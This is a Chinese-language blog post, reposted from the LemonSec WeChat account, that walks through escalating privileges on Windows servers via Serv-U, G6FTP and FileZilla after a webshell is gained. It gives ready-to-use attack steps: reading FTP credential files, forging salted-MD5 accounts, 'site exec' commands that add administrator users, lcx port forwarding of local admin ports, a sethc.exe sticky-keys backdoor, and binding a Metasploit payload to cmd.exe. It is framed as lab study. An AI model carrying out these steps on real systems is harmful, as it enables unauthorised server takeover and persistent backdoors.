转自安全鸭
--------00X1 提权的号角
ASP/PHP>网络服务用户,匿名权限
普通用户,USER权限,可调用cmd.exe
通常是系统管理员权限
-
脚本所处的权限取决于运行容器的用户身份。即:如果脚本以phpstudy/aspweb类似集成环境搭建的网站,拿下网站就是system管理员权限(在未降权的情况下)
-
在脚本允许的情况下可以变换脚本提权,即如果目标服务器支持多种脚本语言,可以选择权限高的脚本语言进行提权。如上:ASP/PHP (小于users)< ASPX(users) < JSP(system)
-
可以劫持高权限容器提权。例如一个服务搭建了iis和tomcat,拿到iis的shell在tomcat网站目录下写jsp shell可直接成功提权,或php shell写到phpstudy 网站目录下。
-
在进行系统提权时,首先要对系统进行信息收集。主要是针对目标网络环境,应用程序,端口服务,补丁情况等重要信息进行一次完整的收集,从而得到可利用的信息进行提权。具体命令见:
https://blog.csdn.net/weixin_44508748/article/details/107118718
00X2 FTP软件提权概述
常见的提权方法有:数据库提权、溢出漏洞提权、第三方软件提权。本分主要内容是复现第三方软件提权中的FTP软件,其中包含server-u、g6ftp、FileZilla等三款FTP服务端&客户端的软件。
FTP软件提权的主要思路就是得到目标ftp账号通过远程连接执行系统命令,从而通过创建用户或其他方式进行提权。所以FTP软件提权的前提均是拿到webshell权限可进行基础的命令执行,得到ftp账号密码,进行提权。
对于不可写权限,serv_u 6.4以下的,如果默认密码没有修改的,直接可以提权。serv_u 7以上的可以修改下脚本提权目录,不要用默认的C盘,改在其他盘符用脚本提权。serv-u的默认端口是43958,密码文件的安装目录 c:Program FilesServ-uSerUDaemon.ini
一、读取配置文件
1.server-u默认安装目录下的ServUDaemon.ini文件记录着所有的ftp账号信息,拿到密码可以直接拿去md5解密
2.如果有权限修改ServUDaemon.ini文件,也可直接增加高权限ftp用户。添加账号的password值是加盐md5加密后的值(例如:盐是cq,就md5加密cq123456,然后Password=cq+md5(cq123456)写入文件,加个user2)
3.如果得到的ftp账号权限是管理权限,可直接ftp远程登录执行命令创建用户
quote site exec net user test test123 /add
quote site exec net localgroup administrators test /add
如图用户创建成功
二、通过大马server-u的默认管理员账号创建新的ftp账号,然后登录进行提取权
如图,通过server-u的默认管理员账号localadministrator创建ftp用户
三、直接提权
server-u默认的管理员账号权限较大,相当于系统权限,可以通过管理员账号直接创建用户,并且加入到管理员组。
如果server-U 用户默认密码被修改了,下载ServUAdmin.exe文件用c32打开就可以找到账号及密码,然后进行下一步操作。注意使用迅雷可能会出现问题,建议直接用浏览器下载
00X4 G6-FTP 提权
G6ftp安装目录下remoteadmin/remote.ini文件包含有账号信息,可通过解密得到账号密码,有修改权限也可以直接修改或添加用户
G6-ftp默认监听在127.0.0.1的8021端口上,所以需要使用lcx 工具将该端口转发出去。如果无法执行cmd命令,需要在可读可写目录上传cmd和lcx等程序,然后才能进行端口转发
1.端口转发
lcx.exe -tran 8222 127.0.0.1 8021
#转发127.0.0.1 8021端口到全IP 8222端口
在服务器里面查看。确定已经转发成功
2.远程登录
端口转发完成后,直接使用g6ftp客户端以管理员用户远程登录软件。分别填入转发后的端口以及在最开始得到的用户名及密码
连接成功
3.创建ftp用户
设置用户家目录
给该账号所有权限
4.新建批处理命令,
分别填入命令名称以及要执行的批处理文件路径
5.通过新建的ftp用户上传文件批处理文件
net user ftptest 123.com /add
net localgroup administrators ftptest /add
6.执行批处理命令,客户端会加载支持此批处理
quote site useradd
7.提权成功
提权成功,回到靶机查看用户,新建了ftptest账户,且为管理员权限
00X5 FileZilla提权
filezilla是一款开源的FTP服务器和客户端的软件。若安装了服务器端默认只侦听127.0.0.1的14147端口。并且默认安装目录目录下有两个敏感文件 filezilla server.xml(包含了用户信息)和filezilla server interface.xml(包含了管理信息)
提权思路:
1.下载这个两个文件,拿到管理密码
2.配置端口转发,登录远程管理ftp server
提权步骤:
1.端口转发
C:Inetpubwwwroot8099mlcx.exe -tran 14148 127.0.0.1 14147
2.远程连接
转发完成后使用filezilla 服务端软件通过读取到的用户密码信息进行远程连接
3.创建ftp用户
4.设置密码
5.设置家目录及控制权限
6. 使用filezilla客户端远程连接
7.使用cmd.exe改名为sethc.exe替换c:windowssystem32sethc.exe生成shift后门
8.连接3389按5次shift 调出cmd.exe
在此cmd窗口可执行其他操作
taskmgr
# 调用任务管理器
explorer.exe
# 调用桌面
net user test 123.com /add
net localgroup administrators test /add
#创建用户
注意:高版本服务器如果进不了登录界面,无法利用五次shift弹出cmd.exe。可以利用msf生成payload捆绑到目标cmd.exe/explorer.exe(管理员经常使用的进程)上等待目标上线。然后进行提权
---------------------------------------------------------------------------------------------
一如既往的学习,一如既往的整理,一如即往的分享。感谢支持
“如侵权请私聊公众号删文”
扫描关注LemonSec
觉得不错点个“赞”、“在看”哦
本文始发于微信公众号(LemonSec):第三方软件提权之FTP软件
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论